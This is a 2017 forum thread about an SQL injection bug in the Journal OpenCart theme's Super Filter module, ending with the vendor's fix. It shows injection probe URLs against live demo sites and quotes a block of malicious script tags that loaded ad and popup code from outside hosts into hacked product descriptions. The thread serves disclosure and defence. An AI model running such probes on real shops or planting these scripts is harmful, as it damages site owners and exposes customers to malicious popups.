hi , journal theme have sql injection bug.
i founded last version, please close super filter module.
Journal Theme Ownership Here ?
SQL Injection : https://www.journal-theme.com/4/index.p ... d=7'Inject Here
i founded last version, please close super filter module.
Journal Theme Ownership Here ?
SQL Injection : https://www.journal-theme.com/4/index.p ... d=7'Inject Here
Software Developer | PHP | Python | Javascript | C# | Node JS | Integration
I have also found the journal theme to have a vulnerability to SQL injections.
Somehow the injection is able to inject a JavaScript into the product description forcing popup websites to customers viewing the description. I've managed to stop the injection but cannot provide information yet for security reasons, the loss of income my client has endured is huge. I believe the Journal devs should take responsibility to fix this bug.
Somehow the injection is able to inject a JavaScript into the product description forcing popup websites to customers viewing the description. I've managed to stop the injection but cannot provide information yet for security reasons, the loss of income my client has endured is huge. I believe the Journal devs should take responsibility to fix this bug.
I believe the Journal devs should take responsibility to fix this bug
May be the case, but this is sure not an OpenCart Problem, so, it will, other than warning users,
make not much sense, to publish this here. Journal has it's own Site, to communicate with their
Customers, after all, it's a paid Theme, and they made a fortune on it.
Just to mention it!
Ernie
May be the case, but this is sure not an OpenCart Problem, so, it will, other than warning users,
make not much sense, to publish this here. Journal has it's own Site, to communicate with their
Customers, after all, it's a paid Theme, and they made a fortune on it.
Just to mention it!
Ernie
Last edited by IP_CAM on Mon May 01, 2017 6:41 am, edited 1 time in total.
My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.
Well, I wrote it, just to make it clear for those, unaware of, that OC and Journal are different Things!
I just tried to do the same with one one my 1.5.6.5 Test Shops, and there was no
problem because of this SIMPLE manufacturer'Inject link HACK, It only displayed a
regular OC "cannot find" message Page. Still, I am rerouting all such call's, on a
daily schedule, there is not a single day, without hacking-attempts, many from Sources,
looking for Magento-Holes, and others, just testing out a system. I am greatful for this, still
I am locking such IP_Ranges out for good... , not planning to do international sales...
---
Just the official OC-2 Demo Site at least produced a 500 Internal Server Error
https://demo.opencart.com/index.php?rou ... r%27Inject
but it's an old V2-Version, so, I advise everybody, reading this, to just try it out your own Shop.
http:// yourshop. ext/ index.php?route=product/manufacturer%27Inject
---
Ernie
I just tried to do the same with one one my 1.5.6.5 Test Shops, and there was no
problem because of this SIMPLE manufacturer'Inject link HACK, It only displayed a
regular OC "cannot find" message Page. Still, I am rerouting all such call's, on a
daily schedule, there is not a single day, without hacking-attempts, many from Sources,
looking for Magento-Holes, and others, just testing out a system. I am greatful for this, still
I am locking such IP_Ranges out for good... , not planning to do international sales...
---
Just the official OC-2 Demo Site at least produced a 500 Internal Server Error
https://demo.opencart.com/index.php?rou ... r%27Inject
but it's an old V2-Version, so, I advise everybody, reading this, to just try it out your own Shop.
http:// yourshop. ext/ index.php?route=product/manufacturer%27Inject
---
Ernie
My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.
You testing url wrong , journal theme last version have bug.A critical vulnerability.Everyone needs to be informed.E-commerce is a serious business.IP_CAM wrote: ↑Mon May 01, 2017 6:21 amWell, I wrote it, just to make it clear for those, unaware of, that OC and Journal are different Things!
I just tried to do the same with one one my 1.5.6.5 Test Shops, and there was no
problem because of this SIMPLE manufacturer'Inject link HACK, It only displayed a
regular OC "cannot find" message Page. Still, I am rerouting all such call's, on a
daily schedule, there is not a single day, without hacking-attempts, many from Sources,
looking for Magento-Holes, and others, just testing out a system. I am greatful for this, still
I am locking such IP_Ranges out for good... , not planning to do international sales...
---
Just the official OC-2 Demo Site at least produced a 500 Internal Server Error
https://demo.opencart.com/index.php?rou ... r%27Inject
but it's an old V2-Version, so, I advise everybody, reading this, to just try it out your own Shop.
http:// yourshop. ext/ index.php?route=product/manufacturer%27Inject
---
Ernie
Software Developer | PHP | Python | Javascript | C# | Node JS | Integration
Does this code get put in the product and category descriptions ?
If so it's not just the Journal theme, I know of at least 2 cases (and they are not using Journal)
If so it's not just the Journal theme, I know of at least 2 cases (and they are not using Journal)
Code: Select all
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script><script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=683723"></script><script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=683724&interactive=1&pushup=1"></script>
Yes Sims that's very similar just different urls, I found a way to stop that from being injected but causes a small error on the site. I fear publishing the fix would compromise my clients site. Wondering how I can provide this information to genuine Opencart admins.
Hi Sims,
I've sent you a PM with my findings, It's stuck in my outbox so not sure if it's bugged - have you received it?
Thanks
Rhys
well, i did it by just clicking the link, as you showed it above, and it produces the same error on all Journal
test Pages. The Link may contain much more code, but in the Case of Journal, one single character and a
word will bring the system and DB to a hold.
---
https://www.journal-theme.com/7/index.p ... 7%27Inject
https://www.journal-theme.com/6/index.p ... 7%27Inject
https://www.journal-theme.com/5/index.p ... 7%27Inject
https://www.journal-theme.com/4/index.p ... 7%27Inject
https://www.journal-theme.com/3/index.p ... 7%27Inject
https://www.journal-theme.com/2/index.p ... 7%27Inject
---
And if anyone finds that big bunch of code, shown above, anywhere in the software, something went very wrong,
but probably not because of OC, or a 'clean' well known paid Theme only.
Still, as long as it does not produce anything on my Server and Software, exept for a not found Page, I have no
problem to solve, and that makes me sleep much better, at least !
Ernie
PS. But actually, I am not surprised, considering the great amount of 'darkwhite' Copies available, on the Web.
There must be a purpose, to just give away 'stuff'. One should also be aware of this, the chances, of beeing 'hit',
are real, I would be able to prove it...
Just to mention this very fact as well!
Good Luck
Ernie
test Pages. The Link may contain much more code, but in the Case of Journal, one single character and a
word will bring the system and DB to a hold.
---
https://www.journal-theme.com/7/index.p ... 7%27Inject
https://www.journal-theme.com/6/index.p ... 7%27Inject
https://www.journal-theme.com/5/index.p ... 7%27Inject
https://www.journal-theme.com/4/index.p ... 7%27Inject
https://www.journal-theme.com/3/index.p ... 7%27Inject
https://www.journal-theme.com/2/index.p ... 7%27Inject
---
And if anyone finds that big bunch of code, shown above, anywhere in the software, something went very wrong,
but probably not because of OC, or a 'clean' well known paid Theme only.
Still, as long as it does not produce anything on my Server and Software, exept for a not found Page, I have no
problem to solve, and that makes me sleep much better, at least !
Ernie
PS. But actually, I am not surprised, considering the great amount of 'darkwhite' Copies available, on the Web.
There must be a purpose, to just give away 'stuff'. One should also be aware of this, the chances, of beeing 'hit',
are real, I would be able to prove it...
Just to mention this very fact as well!
Good Luck
Ernie
My Github OC Site: https://github.com/IP-CAM
5'200 + FREE OC Extensions, on the World's largest private Github OC Repository Archive Site.
IP_CAM wrote: ↑Mon May 01, 2017 8:54 am
well, i did it by just clicking the link, as you showed it above, and it produces the same error on all Journal
test Pages. The Link may contain much more code, but in the Case of Journal, one single character and a
word will bring the system and DB to a hold.
---
https://www.journal-theme.com/7/index.p ... 7%27Inject
https://www.journal-theme.com/6/index.p ... 7%27Inject
https://www.journal-theme.com/5/index.p ... 7%27Inject
https://www.journal-theme.com/4/index.p ... 7%27Inject
https://www.journal-theme.com/3/index.p ... 7%27Inject
https://www.journal-theme.com/2/index.p ... 7%27Inject
---
And if anyone finds that big bunch of code, shown above, anywhere in the software, something went very wrong,
but probably not because of OC, or a 'clean' well known paid Theme only.
Still, as long as it does not produce anything on my Server and Software, exept for a not found Page, I have no
problem to solve, and that makes me sleep much better, at least !
Ernie
PS. But actually, I am not surprised, considering the great amount of 'darkwhite' Copies available, on the Web.
There must be a purpose, to just give away 'stuff'. One should also be aware of this, the chances, of beeing 'hit',
are real, I would be able to prove it...
Just to mention this very fact as well!
Good Luck
Ernie
It seems this has been addressed by Digital Atelier already as those links don't throw any errors now. Everyone should update the theme to the latest version.
Journal Team fixed bug ,
v. 2.9.8 – May 3, 2017
Fixed an issue with Banners carousel mode
Fixed an issue with Super Filter manufacturer IDs - Bug fix
Other minor fixes and improvements.
v. 2.9.8 – May 3, 2017
Fixed an issue with Banners carousel mode
Fixed an issue with Super Filter manufacturer IDs - Bug fix
Other minor fixes and improvements.
Software Developer | PHP | Python | Javascript | C# | Node JS | Integration
Who is online
Users browsing this forum: No registered users and 19 guests